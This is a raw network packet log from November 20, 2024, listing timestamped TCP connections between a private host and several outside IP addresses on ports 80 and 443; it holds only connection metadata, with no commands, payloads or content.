Nov 20, 2024 04:08:15.208623886 CET	62469	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.208627939 CET	443	62467	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.208636999 CET	62467	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.208642960 CET	443	62467	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.208663940 CET	443	62469	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.211477041 CET	62470	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.211503029 CET	443	62470	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.211633921 CET	62470	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.211838007 CET	62470	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.211863995 CET	443	62470	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.215121984 CET	443	62465	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.215208054 CET	443	62465	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.215728045 CET	443	62466	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.215799093 CET	62465	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.215827942 CET	62465	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.215831995 CET	443	62465	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.215841055 CET	62465	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.215843916 CET	443	62465	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.215873957 CET	443	62466	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.215981007 CET	443	62466	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.216044903 CET	62466	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.216082096 CET	62466	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.216099977 CET	443	62466	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.216124058 CET	62466	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.216137886 CET	443	62466	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.218689919 CET	62471	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.218705893 CET	443	62471	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.218806028 CET	62471	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.218837023 CET	62472	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.218883038 CET	443	62472	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.218930960 CET	62472	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.218966007 CET	62471	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.218980074 CET	443	62471	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.219055891 CET	62472	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.219073057 CET	443	62472	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.226847887 CET	62422	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:15.227121115 CET	62473	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:15.231997013 CET	80	62422	185.215.113.43	192.168.2.4
Nov 20, 2024 04:08:15.232014894 CET	80	62473	185.215.113.43	192.168.2.4
Nov 20, 2024 04:08:15.232062101 CET	62422	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:15.232101917 CET	62473	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:15.232225895 CET	62473	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:15.237169027 CET	80	62473	185.215.113.43	192.168.2.4
Nov 20, 2024 04:08:15.283811092 CET	443	62468	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.284250975 CET	62468	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.284261942 CET	443	62468	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.284763098 CET	62468	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.284770012 CET	443	62468	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.394464016 CET	443	62468	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.394726992 CET	443	62468	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.394793987 CET	62468	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.395014048 CET	62468	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.395015001 CET	62468	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.395030022 CET	443	62468	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.395040989 CET	443	62468	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.398282051 CET	62474	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.398317099 CET	443	62474	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.398376942 CET	62474	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.398572922 CET	62474	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.398588896 CET	443	62474	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.726525068 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:15.731404066 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:15.731503010 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:15.732543945 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:15.737366915 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:15.857975006 CET	443	62469	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.860429049 CET	62469	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.860490084 CET	443	62469	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.860956907 CET	62469	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.860971928 CET	443	62469	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.864291906 CET	443	62471	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.868180990 CET	62471	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.868211031 CET	443	62471	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.868570089 CET	62471	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.868580103 CET	443	62471	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.869934082 CET	443	62470	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.872149944 CET	62470	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.872195959 CET	443	62470	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.872486115 CET	62470	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.872495890 CET	443	62470	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.898148060 CET	443	62472	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.898691893 CET	62472	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.898726940 CET	443	62472	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.899039984 CET	62472	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.899046898 CET	443	62472	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.935090065 CET	80	62473	185.215.113.43	192.168.2.4
Nov 20, 2024 04:08:15.936122894 CET	62473	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:15.958024025 CET	443	62469	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.958101034 CET	443	62469	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.958185911 CET	62469	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.964052916 CET	443	62471	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.964225054 CET	443	62471	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.964310884 CET	62471	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.970156908 CET	443	62470	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.970226049 CET	443	62470	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.970350981 CET	62470	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.970351934 CET	443	62470	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.970455885 CET	62470	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:15.999794006 CET	443	62472	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:15.999948025 CET	443	62472	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.003942966 CET	62472	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.014790058 CET	62469	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.014851093 CET	443	62469	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.014878035 CET	62469	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.014911890 CET	443	62469	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.016062975 CET	62471	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.016077995 CET	443	62471	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.016103983 CET	62471	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.016114950 CET	443	62471	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.017328024 CET	62470	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.017328024 CET	62470	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.017360926 CET	443	62470	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.017376900 CET	443	62470	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.018337965 CET	62472	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.018362999 CET	443	62472	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.018389940 CET	62472	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.018397093 CET	443	62472	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.022855043 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.024621010 CET	62477	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.024727106 CET	443	62477	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.024791956 CET	62478	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.024878979 CET	443	62478	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.024995089 CET	62477	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.025263071 CET	62477	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.025300980 CET	443	62477	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.025309086 CET	62478	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.025428057 CET	62478	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.025464058 CET	443	62478	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.025841951 CET	62479	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.025866032 CET	443	62479	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.025990009 CET	62480	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.026021004 CET	62479	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.026057005 CET	443	62480	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.026139975 CET	62479	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.026154041 CET	443	62479	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.026154041 CET	62480	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.026221037 CET	62480	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.026248932 CET	443	62480	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.028084040 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.031908035 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.032057047 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.033655882 CET	443	62474	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.034229994 CET	62474	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.034255028 CET	443	62474	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.034677982 CET	62474	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.034683943 CET	443	62474	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.036823988 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.132558107 CET	443	62474	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.132910967 CET	443	62474	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.133104086 CET	62474	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.146908045 CET	62474	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.146908045 CET	62474	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.146923065 CET	443	62474	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.146933079 CET	443	62474	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.180792093 CET	62481	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.180814028 CET	443	62481	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.180883884 CET	62481	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.184958935 CET	62481	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.184973955 CET	443	62481	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.490318060 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.490335941 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.490382910 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.490397930 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.490401983 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.490422964 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.490520954 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.492176056 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.492196083 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.492229939 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.492238998 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.492244959 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.492261887 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.492275000 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.492315054 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.495868921 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.495886087 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.495902061 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.495949984 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.538661003 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.587496042 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.587522984 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.587587118 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.587642908 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.587658882 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.587676048 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.587691069 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.587708950 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.587743044 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.588274002 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.588291883 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.588306904 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.588320017 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.588345051 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.588378906 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.588804960 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.588819981 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.588872910 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.589221954 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.589237928 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.589252949 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.589287996 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.589477062 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.589492083 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.589509964 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.589533091 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.589561939 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.591002941 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.591017962 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.591032982 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.591067076 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.591150045 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.591198921 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.591211081 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.592469931 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.592523098 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.592845917 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.592864037 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.592884064 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.592899084 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.592911959 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.592916965 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.592952013 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.632436037 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.673166037 CET	443	62479	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.673818111 CET	62479	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.673881054 CET	443	62479	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.674402952 CET	62479	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.674418926 CET	443	62479	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.675020933 CET	443	62478	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.675369978 CET	62478	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.675451994 CET	443	62478	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.675767899 CET	62478	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.675781965 CET	443	62478	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.680047035 CET	443	62477	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.680371046 CET	62477	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.680387974 CET	443	62477	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.680779934 CET	62477	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.680792093 CET	443	62477	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.680876017 CET	443	62480	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.681166887 CET	62480	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.681224108 CET	443	62480	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.681612015 CET	62480	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.681626081 CET	443	62480	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.684679031 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.684696913 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.684720039 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.684757948 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.684782982 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.684801102 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.684823036 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.684827089 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.684861898 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.684912920 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.684964895 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.684982061 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.685008049 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.685102940 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.685129881 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.685144901 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.685159922 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.685189962 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.686441898 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.686469078 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.686485052 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.686507940 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.686517954 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.686525106 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.686563969 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.688093901 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.688107967 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.688163042 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.688163996 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.688201904 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.688218117 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.688219070 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.688241959 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.688263893 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.689905882 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.689930916 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.689946890 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.689970970 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.690001011 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.690285921 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.690308094 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.690316916 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.690360069 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.691669941 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.691700935 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.691728115 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.691730022 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.691745043 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.691781998 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.691800117 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.691818953 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.691843987 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.691937923 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.691953897 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.691997051 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.693483114 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.693542957 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.693582058 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.693597078 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.693613052 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.693630934 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.693641901 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.693646908 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.693700075 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.695415974 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.695434093 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.695451021 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.695466995 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.695473909 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.695502043 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.695528984 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.695543051 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.695578098 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.697094917 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.697122097 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.697135925 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.697153091 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.697170973 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.697184086 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.697189093 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.697206020 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.697237968 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.698542118 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.698559046 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.698592901 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.698596001 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.698611021 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.698638916 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.698642015 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.698653936 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.698688984 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.741792917 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.747800112 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.747862101 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:16.747881889 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.747898102 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:16.747912884 CET	80	62476	185.215.113.16	192.168.2.4
